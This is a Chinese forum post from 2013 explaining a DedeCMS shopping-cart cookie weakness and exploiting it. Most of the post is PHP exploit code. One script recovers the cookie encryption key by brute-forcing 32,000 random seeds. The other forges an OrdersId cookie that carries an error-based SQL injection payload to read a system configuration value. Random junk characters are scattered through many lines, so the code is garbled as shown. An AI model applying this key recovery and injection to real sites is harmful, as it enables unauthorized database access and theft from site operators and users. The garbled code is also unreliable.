找回密码
 立即注册
查看: 2798|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=6 G1 H+ w& f- n, K1 k
在 include/shopcar.class.php中! D# ]+ M, ]4 y2 {# f
先看一下这个shopcar类是如何生成cookie的2 E7 v! Z2 K4 U
239      function saveCookie($key,$value)" B: W" m* r- }5 m" F, ]
240      {* l/ l" U1 I7 @* p  Q7 [
241          if(is_array($value))/ W& S8 X% Q, C5 w- ^1 I' o
242          {
0 t% n; C1 h9 {7 @7 H6 j! u243              $value = $this->enCrypt($this->enCode($value));9 R, X2 Y' C, v! d9 B' a, ^
244          }8 h  Y8 B* y4 b6 ?0 F
245          else
1 _8 V; D, J! h4 i8 y+ I# {246          {
( F4 H, |/ q( e, `+ S247              $value = $this->enCrypt($value);
$ U8 F' P4 n$ u+ @3 C248          }
/ h0 [/ G6 L5 v& D) l$ c0 D4 v+ T249          setcookie($key,$value,time()+36000,’/');
' z& ]4 r) ]' g  q250      }4 N  z" r; j8 @$ \
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数7 N8 a' Q: t2 s  G2 [
186      function enCrypt($txt)
6 S( X  V7 ]& Y% C3 i  p187      {
3 n1 S+ p* g. F188          srand((double)microtime() * 1000000);) t* F5 u+ u2 W* J6 S) L# L. k! d
189          $encrypt_key = md5(rand(0, 32000));: o. S. k% k, D7 J
190          $ctr = 0;
7 T4 T* C6 N+ O# G8 `191          $tmp = ”;
/ R4 {. b/ X$ x. u0 ]5 G. x+ ~192          for($i = 0; $i < strlen($txt); $i++)1 Q* I: T1 ]& a0 u# i
193          {
+ Z" x0 v6 _" }7 |) v$ `/ ?  L194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;5 V3 ]% y: A5 {! B( z; x$ j
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);# C: O4 e/ j, Q( f* i! m# _
196          }
) E* w2 y2 q9 H" [! o197          return base64_encode($this->setKey($tmp));
: u1 {& a; u2 C1 E5 V198      }
) s2 D/ S0 }* {9 ^$ m* x: e213      function setKey($txt)" Z8 c" l: \6 }9 f' K* @& D
214      {
5 m2 {8 s5 e% W+ y215          global $cfg_cookie_encode;- O1 e8 f3 q' E! i, g
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
- T, u6 {5 j0 X" [: Z6 c217          $ctr = 0;4 C# x$ r9 R6 `8 U( B
218          $tmp = ”;
* w- M7 @6 C2 A2 o' ^: |* k219          for($i = 0; $i < strlen($txt); $i++)0 f. P. O7 P% C: X
220          {. Y& A! K5 O% b  G! ]5 h% {9 p
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
1 R# e8 [9 i7 x) r: }% w  i" K222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];8 P9 N  M1 X/ K( N8 a, |' A* P+ \
223          }
. p8 ?$ \) E8 t224          return $tmp;
+ z" q: v2 M0 t5 A1 |225      }
. r/ g$ d6 k) SenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的2 X+ G( {- P# i1 E/ |$ M3 \
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。% t3 z: Z4 Y; @
具体代码如下:+ I& h$ J; @: A0 t
<?php/ v' T) ^( @$ ^7 i- \
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here. [% C7 V4 t$ S# L+ O7 c0 f1 Q( ?
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
! v& F4 x- f% k0 O2 y% I" \6 f$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
- {3 [; L  a. ]5 afunction reStrCode($code,$string)
" |. K- e5 l& f  e  N% q{
8 @7 W% p% u: g/ W7 v$code = base64_decode($code);$ o; M+ |. e' z' ~. }
$key = “”;7 p6 X+ x! }2 g, y3 u
for($i=0 ; $i<32 ; $i++)
. P% P; {0 b* w2 u{
3 v: t: m. g" T$key .= $string[$i] ^ $code[$i];% r3 G  G" g, a
}8 s; z; `. ]7 h
return $key;
) J9 a5 a* i, P& s2 n' A3 `6 s+ {: y}$ D) z# u  _* C8 a$ C% c
function getKeys($cookie,$plantxt)
1 n; _; K  Z' W{
8 u6 [, x2 A( P+ O. ^$tmp = $cookie;' f1 Q3 q/ t( T7 e6 m6 n% G
$results = array();$ r3 Y+ o# ^' A! m+ T: L! _1 s
for($j=0 ; $j < 32000; $j++)
9 `; |! a/ `/ G{
) N) ]" q( A: p0 u: h5 m/ _  ?# L+ B7 v" P9 s
$txt = $plantxt;+ B8 _, e/ T, Q3 I- U$ k$ P
$ctr = 0;
1 C. ~/ V" U5 O+ y! O! {: X' H$tmp = ”;
" Y  f# G  z6 O1 [& o$encrypt_key = md5($j);' K, y" k6 c8 A
for($i =0; $i < strlen($txt); $i ++)
/ ^6 X- O8 ^1 f* t' ?{
4 l$ }9 Y& l* w1 b1 ]/ x$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
, J, e8 h5 j2 E2 ~* P$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
! H/ S: h* H3 u1 e  g}. Z- y2 z+ @5 m( j1 ^$ ]# q( F3 f
$string = $tmp;
* p+ S$ a; N( w: {1 T$code = $cookie;8 R% Q+ g) I" S6 y- H* U
$result = reStrCode($code,$string);/ k3 ~+ [0 ]' f7 }
if(eregi(‘^[a-z0-9]+$’,$result))" E4 D8 d" C4 C% {* {% n8 s* L
{' L9 G& K: U: K1 d8 z' R0 W
echo $result.”\n”;
7 b& c( u% i4 Z+ d$results[] = $result;0 S  @  H+ {: k" Y
}
) k6 P/ [6 e7 [' o}
6 B7 A3 I+ f5 l; T, v( e* c  J  treturn $results;- I+ F  A) V, U& g& f% c0 O9 p
}- j* E9 ?$ }4 M. S0 ~; |
$results1 = getKeys($cookie1,$plantxt);8 z" k! F0 R* N6 @2 B/ }) M5 W: L
$results2 = getKeys($cookie2,$plantxt);2 G* M% I' A* J/ R/ v
print “\n——————–real key————————–\n”;
+ S# J6 ?+ R7 v9 z  v7 Pforeach($results1 as $test1)
# k- T8 {- P/ [- v4 X% A; _% Z{
: ]) q: x- L/ b& K+ E& B6 m8 Sforeach($results2 as $test2)
1 f, |1 q$ g/ P  J/ g) X{
  V- F0 r' i4 d! q! m' Zif($test1 == $test2)1 h) n# w8 E, r* [
{/ Z2 C/ `* ]; M( `: l3 d8 M
echo $test1.”\n”;0 R6 I; [" \5 X5 r; a; S3 Z
}8 c8 U* L* V% O. d+ [
}
4 n3 X; ?4 R/ {* {. {9 B}
) ]0 i# Q+ p, ^. y& _$ B?>! ?7 u' q5 u" t$ c
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie," p3 w& C, U' C
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
8 Y/ j9 a1 T" @9 [* \5 A然后推算出md5(strtolower($cfg_cookie_encode))8 J4 ^7 z( f/ m) \8 ^6 N- A/ k
得到这个key之后,我们就可以构造任意购物车的cookie
* ?( X" }3 W/ X8 \  _& ^7 V# W接着看" g" a+ ?+ y. Y& q6 K% r
20  class MemberShops0 r9 }2 w+ E- d$ Y- w% P. ~
21  {; i! O, c; h/ D0 y4 j3 C
22      var $OrdersId;3 J, h* l4 n8 k' ?+ a
23      var $productsId;) A5 X2 a$ m$ `5 ~
248 ^1 b. ]1 q& l4 b$ M
25      function __construct()6 w3 p, ^+ Z" k; L1 e
26      {1 Q' H  c! z: X, G, B8 Q; x
27          $this->OrdersId = $this->getCookie(“OrdersId”);
( C0 O3 h, ^, b+ ^2 g2 M28          if(empty($this->OrdersId))
' S' c2 E% R/ d2 |29          {3 b5 N" L" t  f" ^( k
30              $this->OrdersId = $this->MakeOrders();) o. U( ?2 i! ^& w2 B, _9 l0 x
31          }
; _9 S: J6 T* H9 W) l3 D- y+ S4 t32      }5 d# h4 b' _* e* Z6 b
发现OrderId是从cookie里面获取的
) S; j4 d. v( u: p! t( d& b然后4 E2 J" b/ z  M% e3 ^
/plus/carbuyaction.php中的! I( b! G9 c% F9 A6 C7 o
29      $cart    = new MemberShops();
' C+ p' y  B* d* x39      $OrdersId = $cart->OrdersId;        //本次记录的订单号
' u2 h3 Q! }# o8 e……
6 e. v- I' O9 Q8 K% e# z173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);. }# w. M8 }* y9 E2 w& h7 v
接着我们就可以注入了! o) B6 g9 `8 t6 V+ {* q
通过利用下面代码生成cookie:# u% J2 ]9 O/ w
<?php" B, S5 E9 k5 l- b
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;4 g6 `9 m, i3 s! Z/ f2 @
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here8 q( U4 @! H/ X+ ]/ C. Q
function setKey($txt)# w& d2 E; B& Q" X! q  }
{
/ g, ~, V- C3 l4 R" G7 ~global $encrypt_key;
4 s6 p6 A1 z2 {, }8 f$ctr = 0;
+ w7 j) F7 Y9 |" @* T/ H$tmp = ”;5 i" o0 E+ `, t/ B
for($i = 0; $i < strlen($txt); $i++)
; [: S( y+ X4 u1 d/ d1 f) z9 H{; G3 J0 ]: k. p' W  Z
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;* S& a( ^; n4 Z1 c# n
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
! G: ]6 w5 B# U" G/ n  y}
3 K% {; ?. p" s% @return $tmp;0 @. ]+ j. v; j: s. g& F$ v
}
5 I. m% @, [. o+ l7 z) sfunction enCrypt($txt)
" g( d! J% x: M1 c+ o0 M! ?{/ i7 Z0 w- ^* Z/ a/ i1 F4 k
srand((double)microtime() * 1000000);8 i* I1 j2 D$ R. u. r) ?* T2 z
$encrypt_key = md5(rand(0, 32000));  F  {# T/ U, ~6 D2 Z
$ctr = 0;7 F  o+ Z& ~+ M' @! ^9 c
$tmp = ”;
5 v1 p$ n1 z0 I0 l1 v# _' V' `% Bfor($i = 0; $i < strlen($txt); $i++)
( a* m; @0 V( A7 \, J4 `6 @' y{
+ ^$ p3 _' ]  g7 S, h6 N$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;6 z$ D' L" `' c$ d! G/ h2 p
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
+ d3 ?3 f! K- u9 H1 g8 \6 T$ a}
; ^. e5 m: {" t8 Dreturn base64_encode(setKey($tmp));
/ X8 S3 A! \  W5 W+ Y2 l: t}
' `! w2 {( r7 Q9 c$ u1 ffor($dest =0;$dest = enCrypt($txt);)
' _9 p1 Z6 F2 b: E; N$ P{
) o0 p+ ?# L; z% C: W; L7 G& ~if(!strpos($dest,’+'))0 h  k* C8 [! I% Q
{
! Q" q6 L2 X- s$ abreak;0 G; S8 C2 K9 V1 }
}# I1 ]: ], a6 h; T  Z% K& l3 l' Q3 t1 K* R
}
( z8 x1 c4 y% }+ n. b! B3 H( |! q& Gecho $dest.”\n”;
) U  L9 _8 _/ s3 t! w?>
# P! B5 W  z( o  x& I: _
% x! I2 q' T0 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表